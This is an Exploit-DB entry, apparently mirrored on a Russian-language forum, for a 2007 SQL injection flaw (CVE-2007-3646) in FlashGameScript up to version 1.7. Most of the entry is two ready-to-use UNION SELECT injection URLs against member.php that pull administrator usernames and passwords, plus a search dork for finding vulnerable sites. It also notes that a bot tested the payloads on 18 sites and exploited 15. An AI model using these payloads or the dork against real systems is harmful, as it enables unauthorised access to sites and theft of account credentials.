- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 4161
- Проверка EDB
-
- Пройдено
- Автор
- XENDUER77
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2007-3646
- Дата публикации
- 2007-07-08
Код:
###############################################
### FlashGameScript <= 1.7 (member.php)($user) SQL-Injection Exploit
###############################################
### Vulnrability Discovered By: Xenduer77
### ---July 7th, 2007
###############################################
{$user} Is passed straight to the query without being filtered.
###############################################
SQL-INJECTION:
###############################################
For Version 1.7:
-------
http://whatever.com/index.php?func=member&user='+union+select+0,0,0,0,0,0,0,0,0,0,username,password,0,0,0,0,0,user_type+from+members+where+user_type=2/*
Prior To 1.7:
-------
http://whatever.com/index.php?func=member&user='+union+select+0,0,0,0,0,0,0,0,0,0,username,password,0,0,0,0,user_type+from+members+where+user_type=2/*
###Tested by a bot on 18 sites, 15 were exploited.
###############################################
Dork: "Powered by FlashGameScript"
###############################################
# milw0rm.com [2007-07-08]
- Источник
- www.exploit-db.com